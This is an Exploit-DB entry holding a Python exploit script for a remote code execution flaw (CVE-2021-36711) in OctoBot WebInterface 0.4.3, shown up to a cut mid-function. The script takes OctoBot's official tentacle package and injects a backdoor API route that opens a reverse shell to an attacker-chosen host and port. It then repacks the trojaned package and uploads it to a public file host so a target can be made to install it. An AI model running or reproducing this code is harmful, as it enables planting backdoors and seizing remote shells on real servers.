Exploit-DB #50979
Description: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2022-07-21
Author: Samy Younsi

Exploit:
# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
# Date: 9/2/2021
# Exploit Author: Samy Younsi, Thomas Knudsen
# Vendor Homepage: https://www.octobot.online/
# Software Link: https://github.com/Drakkar-Software/OctoBot
# Version: 0.4.0beta3 - 0.4.3
# Tested on: Linux (Ubuntu, CentOs)
# CVE : CVE-2021-36711

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import zipfile
import time
import sys
import os

def banner():
  sashimiLogo = """
                              _________         .    .
                             (..       \_    ,  |\  /|
                              \       O  \  /|  \ \/ /
                               \______    \/ |   \  / 
                                  vvvv\    \ |   /  |
  _         _  _     _            \^^^^  ==   \_/   |
 | |  __ _ | || |__ (_)_ __ ___ (_)`\_   ===    \.  |
/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_   \ /      |
\__ | (_| \__ | | | | | | | | | | ||/   \_  \|      /
(   /\__,_(   |_| |_|_|_| |_| |_|_|       \________/
 |_|       |_|                       \033[1;91mOctoBot Killer\033[1;m                  
Author: \033[1;92mNaqwada\033[1;m                         
RuptureFarm 1029      

                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))


def help():
  print('[!] \033[1;93mUsage: \033[1;m')
  print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))
  print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')


def getOctobotVersion(RHOST, RPORT):
  if RPORT == 443:
    url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
  else:
    url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
  return curl(url) 


def restartOctobot(RHOST, RPORT):
  if RPORT == 443:
    url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
  else:
    url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)
  
  try:
    requests.get(url, allow_redirects=False, verify=False, timeout=1)
  except requests.exceptions.ConnectionError as e: 
    print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')
    time.sleep(30)


def downloadTentaclePackage(octobotVersion):
  print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))
  url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
  result = requests.get(url, stream=True)
  with open('{}.zip'.format(octobotVersion), 'wb') as fd:
    for chunk in result.iter_content(chunk_size=128):
        fd.write(chunk)
  print('[+] \033[1;92mDownload completed!\033[1;m')


def unzipTentaclePackage(octobotVersion):
  zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
  zip.extractall('quests')
  os.remove('{}.zip'.format(octobotVersion))
  print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')


def craftBackdoor(octobotVersion):
  print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))
  path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
  injectInitFile(path)
  injectMetadataFile(path)
  print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))


def injectMetadataFile(path):
  with open('{}metadata.py'.format(path),'r') as metadataFile:
    content = metadataFile.read()
    addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))
    addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")'))
  with open('{}metadata.py'.format(path),'w') as newMetadataFile:
    newMetadataFile.write(addPayload)


def injectInitFile(path):
  with open('{}__init__.py'.format(path),'r') as initFile:
    content = initFile.read()
    addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))
    addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))
  with open('{}__init__.py'.format(path),'w') as newInitFile:
    newInitFile.write(addPayload)


def rePackTentaclePackage():
  print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')
  with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
    len_dir_path = len('quests')
    for root, _, files in os.walk('quests'):
        for file in files:
            file_path = os.path.join(root, file)
            zipf.write(file_path, file_path[len_dir_path:])


def uploadMaliciousTentacle():
  print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')

  file = {
      'file': open('any_platform.zip', 'rb'),
  }
  response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
  zipLink = response.json()['data']['file']['url']['full']
  response = requests.get(zipLink, timeout=60)
  soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
  zipLink = soup.find(id='download-url').get('href')
  print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))
  return zipLink

def curl(url):
  response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
  return response


def in